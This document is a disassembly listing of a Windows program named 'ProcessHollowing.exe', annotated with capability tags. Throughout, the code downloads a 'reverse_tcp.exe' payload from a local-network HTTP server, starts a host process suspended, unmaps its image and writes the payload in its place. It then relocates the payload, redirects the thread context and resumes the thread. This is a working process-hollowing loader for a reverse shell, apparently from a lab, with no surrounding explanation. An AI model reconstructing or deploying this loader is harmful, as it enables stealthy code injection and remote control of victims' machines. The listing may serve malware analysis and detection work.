Function at 0x40167a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Schedule task via at
Use process replacement

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x3c0
mov ebx, ecx
call dbg.__main
cmp dword [ebx], 2
je 0x4016b1
mov dword [esp], str.Usage:_ProcessHollowing.exe__Host.exe__n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
mov dword [ebp - 0x1c], str.http:__10.0.2.15:8000_reverse_tcp.exe
lea eax, [ebp - 0x5c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.DownloadFile_char_const__unsigned_long_
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4016da
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4016f0
mov dword [esp], str.Error_downloading_payload._n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
pxor xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
movups xmmword [ebp - 0x90], xmm0
movups xmmword [ebp - 0x80], xmm0
movups xmmword [ebp - 0x70], xmm0
movd dword [ebp - 0x60], xmm0
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str.Creating_Suspended_Process.___s__n
call sym.printf_char_const__..._
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
lea edx, [ebp - 0xb0]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0xa0]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x4017a7
mov dword [esp], str.Error_creating_process_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
mov dword [ebp - 0x37c], 0x10007
mov eax, dword [ebp - 0xac]
lea edx, [ebp - 0x37c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadContext]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x4017ed
mov dword [esp], str.Error_getting_context_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
mov eax, dword [ebp - 0x2d8]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x380]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
mov dword [esp], str.Unmapping_Section._n
call sym.printf_char_const__..._
mov dword [esp], str.ntdll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x24], eax
mov dword [esp + 4], str.NtUnmapViewOfSection
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x380]
mov edx, dword [ebp - 0xb0]
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x4018a4
mov dword [esp], str.Error_unmapping_section_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 0x380]
mov eax, dword [ebp - 0xb0]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x401910
mov dword [esp], str.Error_allocating_memory_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
mov eax, dword [ebp - 0x380]
mov edx, eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0x34]
sub edx, eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x380]
mov edx, eax
mov eax, dword [ebp - 0x34]
mov dword [eax + 0x34], edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp - 0x380]
mov eax, dword [ebp - 0xb0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp - 0x20]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401986
mov dword [esp], str.Failed_to_write_headers_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
mov dword [ebp - 0xc], 0
jmp 0x401a1e
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0xc]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
lea edx, [eax + 0xf8]
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x20]
lea ebx, [ecx + eax]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x38]
add ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401a1a
mov dword [esp], str.Error_writing_section._n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x34]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0xc], eax
jl 0x401992
cmp dword [ebp - 0x3c], 0
je 0x401c37
mov dword [esp], str._nRelocating_The_Relocation_Table..._n
call sym.printf_char_const__..._
mov dword [ebp - 0x10], 0
jmp 0x401c24
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
lea edx, [eax + 0xf8]
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 8], 6
mov dword [esp + 4], str..reloc
mov dword [esp], eax
call sym._memcmp
test eax, eax
jne 0x401c20
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x34]
mov edx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], edx
mov dword [ebp - 0x14], 0
jmp 0x401c11
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x48], eax
add dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0
jmp 0x401c05
add dword [ebp - 0x14], 2
mov eax, dword [ebp - 0x18]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x50]
add eax, edx
movzx eax, byte [eax + 1]
and eax, 0xfffffff0
test al, al
je 0x401c00
mov eax, dword [ebp - 0x48]
mov edx, dword [eax]
mov eax, dword [ebp - 0x18]
lea ecx, [eax + eax]
mov eax, dword [ebp - 0x50]
add eax, ecx
movzx eax, word [eax]
and ax, 0xfff
movzx eax, ax
add eax, edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x380]
mov edx, eax
mov eax, dword [ebp - 0x54]
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x38c]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
mov edx, dword [ebp - 0x38c]
mov eax, dword [ebp - 0x3c]
add eax, edx
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x380]
mov edx, eax
mov eax, dword [ebp - 0x54]
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x38c]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401c01
mov dword [esp], str.Error_Writing_Entry._n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
nop
add dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x4c]
jb 0x401b09
mov eax, dword [ebp - 0x384]
cmp dword [ebp - 0x14], eax
jb 0x401acb
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x34]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x10], eax
jl 0x401a53
mov eax, dword [ebp - 0x34]
lea edx, [eax + 0x34]
mov eax, dword [ebp - 0x2d8]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x34]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x38]
add eax, edx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x2cc], eax
mov dword [esp], str._nSetting_Thread_Context._n
call sym.printf_char_const__..._
mov eax, dword [ebp - 0xac]
lea edx, [ebp - 0x37c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetThreadContext]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401ccf
mov dword [esp], str.Error_setting_context_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
mov dword [esp], str.Resuming_Thread._n
call sym.printf_char_const__..._
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
cmp eax, 0xffffffff
sete al
test al, al
je 0x401d0b
mov dword [esp], str.Error_resuming_thread_n
call sym.printf_char_const__..._
mov eax, 0
jmp 0x401d1c
mov dword [esp], str._nDone._Enjoy_The__New__Process._n__________________________________n_n
call sym.printf_char_const__..._
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret